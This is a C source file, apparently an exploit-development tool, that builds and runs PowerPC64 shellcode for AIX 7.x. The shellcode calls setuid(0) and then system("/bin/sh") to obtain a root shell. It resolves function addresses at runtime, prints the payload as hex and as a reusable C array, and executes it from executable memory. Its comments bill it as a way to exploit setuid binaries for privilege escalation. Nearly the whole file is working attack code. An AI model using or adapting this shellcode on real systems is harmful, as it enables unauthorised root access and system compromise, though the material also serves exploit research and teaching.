/*
 * AIX 7.x PowerPC64 Shellcode - Setuid Shell (setuid(0) + /bin/sh)
 *
 * This shellcode calls setuid(0) then spawns a shell using system("/bin/sh")
 * Useful for exploiting setuid binaries for privilege escalation
 *
 * Compilation:
 *   gcc -maix64 -o shellcode_setuid_shell shellcode_setuid_shell.c
 *
 * Usage:
 *   ./shellcode_setuid_shell
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <unistd.h>

struct function_descriptor {
    void *entry_point;
    void *toc_pointer;
    void *environment;
};

unsigned long long get_toc(void) {
    unsigned long long toc;
    __asm__ volatile ("mr %0, 2" : "=r"(toc));
    return toc;
}

// Get detailed AIX version information
void get_aix_version(char *version_str, size_t size) {
    FILE *fp;
    char buffer[128];

    // Try to get detailed version with oslevel -s
    fp = popen("oslevel -s 2>/dev/null", "r");
    if (fp != NULL) {
        if (fgets(buffer, sizeof(buffer), fp) != NULL) {
            // Remove newline
            buffer[strcspn(buffer, "\n")] = 0;

            // Parse format: VVRR-TL-SP-BUILD (e.g., 7300-04-02-2546)
            int vv, rr, tl, sp, build;
            if (sscanf(buffer, "%2d%2d-%2d-%2d-%4d", &vv, &rr, &tl, &sp, &build) == 5) {
                snprintf(version_str, size, "AIX %d.%d TL%d SP%d (build %d)",
                         vv / 10, vv % 10, tl, sp, build);
            } else {
                snprintf(version_str, size, "AIX %s", buffer);
            }
            pclose(fp);
            return;
        }
        pclose(fp);
    }

    // Fallback to uname
    struct utsname uts;
    if (uname(&uts) == 0) {
        snprintf(version_str, size, "AIX %s.%s", uts.version, uts.release);
    } else {
        snprintf(version_str, size, "AIX (unknown version)");
    }
}

// Build the shellcode dynamically with the correct setuid() and system() addresses
void build_shellcode(unsigned char *shellcode, unsigned long long setuid_addr, unsigned long long system_addr) {
    unsigned char *p = shellcode;

    // Prologue: save link register and allocate stack
    *p++ = 0x7c; *p++ = 0x08; *p++ = 0x02; *p++ = 0xa6;  // mflr r0
    *p++ = 0xf8; *p++ = 0x01; *p++ = 0x00; *p++ = 0x10;  // std r0, 16(r1)
    *p++ = 0xf8; *p++ = 0x21; *p++ = 0xff; *p++ = 0x81;  // stdu r1, -128(r1)
    *p++ = 0xf8; *p++ = 0x41; *p++ = 0x00; *p++ = 0x28;  // std r2, 40(r1)

    // Load setuid() descriptor address into r9
    unsigned short hw1 = (setuid_addr >> 48) & 0xFFFF;
    unsigned short hw2 = (setuid_addr >> 32) & 0xFFFF;
    unsigned short hw3 = (setuid_addr >> 16) & 0xFFFF;
    unsigned short hw4 = setuid_addr & 0xFFFF;

    *p++ = 0x3d; *p++ = 0x20; *p++ = (hw1 >> 8); *p++ = (hw1 & 0xFF);  // lis r9, hw1
    *p++ = 0x61; *p++ = 0x29; *p++ = (hw2 >> 8); *p++ = (hw2 & 0xFF);  // ori r9, r9, hw2
    *p++ = 0x79; *p++ = 0x29; *p++ = 0x07; *p++ = 0xc6;                // rldicr r9, r9, 32, 31
    *p++ = 0x65; *p++ = 0x29; *p++ = (hw3 >> 8); *p++ = (hw3 & 0xFF);  // oris r9, r9, hw3
    *p++ = 0x61; *p++ = 0x29; *p++ = (hw4 >> 8); *p++ = (hw4 & 0xFF);  // ori r9, r9, hw4

    // Set r3 = 0 (argument to setuid(0))
    *p++ = 0x38; *p++ = 0x60; *p++ = 0x00; *p++ = 0x00;  // li r3, 0

    // Call setuid(0) via function descriptor
    *p++ = 0xe9; *p++ = 0x69; *p++ = 0x00; *p++ = 0x00;  // ld r11, 0(r9)
    *p++ = 0xe8; *p++ = 0x49; *p++ = 0x00; *p++ = 0x08;  // ld r2, 8(r9)
    *p++ = 0x7d; *p++ = 0x69; *p++ = 0x03; *p++ = 0xa6;  // mtctr r11
    *p++ = 0x4e; *p++ = 0x80; *p++ = 0x04; *p++ = 0x21;  // bctrl

    // Restore TOC after setuid() call
    *p++ = 0xe8; *p++ = 0x41; *p++ = 0x00; *p++ = 0x28;  // ld r2, 40(r1)

    // Load system() descriptor address into r9
    hw1 = (system_addr >> 48) & 0xFFFF;
    hw2 = (system_addr >> 32) & 0xFFFF;
    hw3 = (system_addr >> 16) & 0xFFFF;
    hw4 = system_addr & 0xFFFF;

    *p++ = 0x3d; *p++ = 0x20; *p++ = (hw1 >> 8); *p++ = (hw1 & 0xFF);  // lis r9, hw1
    *p++ = 0x61; *p++ = 0x29; *p++ = (hw2 >> 8); *p++ = (hw2 & 0xFF);  // ori r9, r9, hw2
    *p++ = 0x79; *p++ = 0x29; *p++ = 0x07; *p++ = 0xc6;                // rldicr r9, r9, 32, 31
    *p++ = 0x65; *p++ = 0x29; *p++ = (hw3 >> 8); *p++ = (hw3 & 0xFF);  // oris r9, r9, hw3
    *p++ = 0x61; *p++ = 0x29; *p++ = (hw4 >> 8); *p++ = (hw4 & 0xFF);  // ori r9, r9, hw4

    // Build "/bin/sh\0" in r10
    *p++ = 0x3d; *p++ = 0x40; *p++ = 0x2f; *p++ = 0x62;  // lis r10, 0x2f62
    *p++ = 0x61; *p++ = 0x4a; *p++ = 0x69; *p++ = 0x6e;  // ori r10, r10, 0x696e
    *p++ = 0x79; *p++ = 0x4a; *p++ = 0x07; *p++ = 0xc6;  // rldicr r10, r10, 32, 31
    *p++ = 0x65; *p++ = 0x4a; *p++ = 0x2f; *p++ = 0x73;  // oris r10, r10, 0x2f73
    *p++ = 0x61; *p++ = 0x4a; *p++ = 0x68; *p++ = 0x00;  // ori r10, r10, 0x6800

    // Store string on stack at offset 112
    *p++ = 0xf9; *p++ = 0x41; *p++ = 0x00; *p++ = 0x70;  // std r10, 112(r1)

    // Set r3 = pointer to string
    *p++ = 0x38; *p++ = 0x61; *p++ = 0x00; *p++ = 0x70;  // addi r3, r1, 112

    // Call system() via function descriptor
    *p++ = 0xe9; *p++ = 0x69; *p++ = 0x00; *p++ = 0x00;  // ld r11, 0(r9)
    *p++ = 0xe8; *p++ = 0x49; *p++ = 0x00; *p++ = 0x08;  // ld r2, 8(r9)
    *p++ = 0x7d; *p++ = 0x69; *p++ = 0x03; *p++ = 0xa6;  // mtctr r11
    *p++ = 0x4e; *p++ = 0x80; *p++ = 0x04; *p++ = 0x21;  // bctrl

    // Epilogue: restore and return
    *p++ = 0xe8; *p++ = 0x41; *p++ = 0x00; *p++ = 0x28;  // ld r2, 40(r1)
    *p++ = 0x38; *p++ = 0x21; *p++ = 0x00; *p++ = 0x80;  // addi r1, r1, 128
    *p++ = 0xe8; *p++ = 0x01; *p++ = 0x00; *p++ = 0x10;  // ld r0, 16(r1)
    *p++ = 0x7c; *p++ = 0x08; *p++ = 0x03; *p++ = 0xa6;  // mtlr r0
    *p++ = 0x4e; *p++ = 0x80; *p++ = 0x00; *p++ = 0x20;  // blr
}

int main(void) {
    char aix_version[128];
    get_aix_version(aix_version, sizeof(aix_version));

    printf("================================================================================\n");
    printf("AIX PowerPC64 Shellcode Generator - Setuid Shell (setuid(0) + /bin/sh)\n");
    printf("================================================================================\n\n");

    printf("System Information:\n");
    printf("  %s\n\n", aix_version);

    unsigned long long my_toc = get_toc();

    // Get the ACTUAL setuid() address from this system
    struct function_descriptor *setuid_desc = (struct function_descriptor *)setuid;
    unsigned long long setuid_addr = (unsigned long long)setuid;
    unsigned long long setuid_entry = (unsigned long long)setuid_desc->entry_point;
    unsigned long long setuid_toc = (unsigned long long)setuid_desc->toc_pointer;

    // Get the ACTUAL system() address from this system
    struct function_descriptor *system_desc = (struct function_descriptor *)system;
    unsigned long long system_addr = (unsigned long long)system;
    unsigned long long system_entry = (unsigned long long)system_desc->entry_point;
    unsigned long long system_toc = (unsigned long long)system_desc->toc_pointer;

    printf("Detecting function addresses dynamically...\n\n");

    printf("setuid() function:\n");
    printf("  Descriptor address: 0x%016llx\n", setuid_addr);
    printf("  Entry point:        0x%016llx\n", setuid_entry);
    printf("  TOC pointer:        0x%016llx\n\n", setuid_toc);

    printf("system() function:\n");
    printf("  Descriptor address: 0x%016llx\n", system_addr);
    printf("  Entry point:        0x%016llx\n", system_entry);
    printf("  TOC pointer:        0x%016llx\n\n", system_toc);

    printf("Current TOC:          0x%016llx\n\n", my_toc);

    // Build shellcode dynamically with detected addresses
    unsigned char shellcode[160];  // Larger to accommodate both function calls
    build_shellcode(shellcode, setuid_addr, system_addr);
    size_t sc_size = 160;

    printf("Shellcode Details:\n");
    printf("  Size:              %zu bytes\n", sc_size);
    printf("  Target:            setuid(0) + system(\"/bin/sh\")\n");
    printf("  setuid() address:  0x%016llx (DETECTED DYNAMICALLY)\n", setuid_addr);
    printf("  system() address:  0x%016llx (DETECTED DYNAMICALLY)\n", system_addr);
    printf("  Method:            Runtime detection - works on any AIX 7.x system!\n");
    printf("  Use case:          Privilege escalation via setuid binaries\n\n");

    // Allocate executable memory
    void *sc_mem = valloc(4096);
    if (!sc_mem) {
        perror("valloc");
        return 1;
    }
    memcpy(sc_mem, shellcode, sc_size);

    if (mprotect(sc_mem, 4096, PROT_READ | PROT_WRITE | PROT_EXEC) != 0) {
        perror("mprotect");
        return 1;
    }

    // Create function descriptor
    struct function_descriptor *desc = valloc(sizeof(struct function_descriptor));
    if (!desc) {
        perror("valloc");
        return 1;
    }
    desc->entry_point = sc_mem;
    desc->toc_pointer = (void*)my_toc;
    desc->environment = NULL;

    printf("Memory Layout:\n");
    printf("  Shellcode at:      0x%016llx\n", (unsigned long long)sc_mem);
    printf("  Descriptor at:     0x%016llx\n\n", (unsigned long long)desc);

    // Display shellcode in hex
    printf("Shellcode (hex):\n");
    unsigned char *p = (unsigned char *)sc_mem;
    for (size_t i = 0; i < sc_size; i++) {
        if (i % 16 == 0) printf("  %04zx: ", i);
        printf("%02x ", p[i]);
        if ((i + 1) % 16 == 0 || i == sc_size - 1) printf("\n");
    }

    // Display as C array
    printf("\nShellcode (C array):\n");
    printf("unsigned char shellcode[] =\n");
    for (size_t i = 0; i < sc_size; i++) {
        if (i % 4 == 0) printf("  \"");
        printf("\\x%02x", p[i]);
        if ((i + 1) % 4 == 0) {
            printf("\"");
            if (i < sc_size - 1) printf("\n");
        }
    }
    printf(";\n");

    printf("\n=======================================================================\n");
    printf("Executing shellcode...\n");
    printf("This will call setuid(0) then spawn /bin/sh\n");
    printf("If this process has setuid permissions, you'll get a root shell!\n");
    printf("NOTE: This shellcode was generated dynamically for %s\n", aix_version);
    printf("========================================================================\n\n");

    printf("Current UID: %d\n", getuid());
    printf("Current EUID: %d\n\n", geteuid());

    // Execute shellcode
    typedef void (*func_t)(void);
    ((func_t)desc)();

    printf("\n======================================================================\n");
    printf("Shell exited, returned to program\n");
    printf("========================================================================\n");
    printf("Current UID: %d\n", getuid());
    printf("Current EUID: %d\n", geteuid());

    free(sc_mem);
    free(desc);
    return 0;
}
